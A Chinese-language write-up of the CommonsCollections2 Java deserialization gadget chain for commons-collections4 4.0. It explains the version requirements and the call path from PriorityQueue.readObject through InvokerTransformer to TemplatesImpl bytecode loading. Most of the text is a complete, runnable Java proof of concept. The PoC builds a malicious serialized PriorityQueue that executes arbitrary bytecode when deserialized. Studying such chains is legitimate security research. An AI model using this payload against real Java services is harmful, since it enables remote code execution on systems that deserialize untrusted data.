CC2的利用版本与CC4相同:
CommonsCollections 4.0
JDK 版本暂无限制
需要 javassist(伪条件)
CC2与CC4均是为ysoserial为commons-collections4准备的两条新的利用链。
那么老的利用链在commons-collections4中是否仍然能使用?我们将CC6的依赖包更改为commons-collections4中的依赖包进行运行。会报错,没有 LazyMap.decorate()
方法,原因是在commons-collections4中该方法改名为 lazyMap()
。更改源码中的该方法名即可正常运行。
调用链:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
comparator.compare() === TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
可以看到与CC4的区别在于CC2直接使用了InvokerTransformer.transform()
来执行TemplatesImpl.newTransformer()
从而进行任意字节码执行。
poc:
package Cc2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
public class Cc2 {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_name", "notnull");
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// 通过add方法来修改queue
// if (i == 0)
// queue[0] = e;只有第一次add()时才给queue[]赋值
/**
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);obj1为queue[0],及构造的TemplatesImpl();
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
**/
priorityQueue.add(obj);
priorityQueue.add(1);
Field iTransformers = transformingComparator.getClass().getDeclaredField("transformer");
iTransformers.setAccessible(true);
iTransformers.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
o.writeObject(obj);
}
public static Object unserialize(String s) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
return o.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}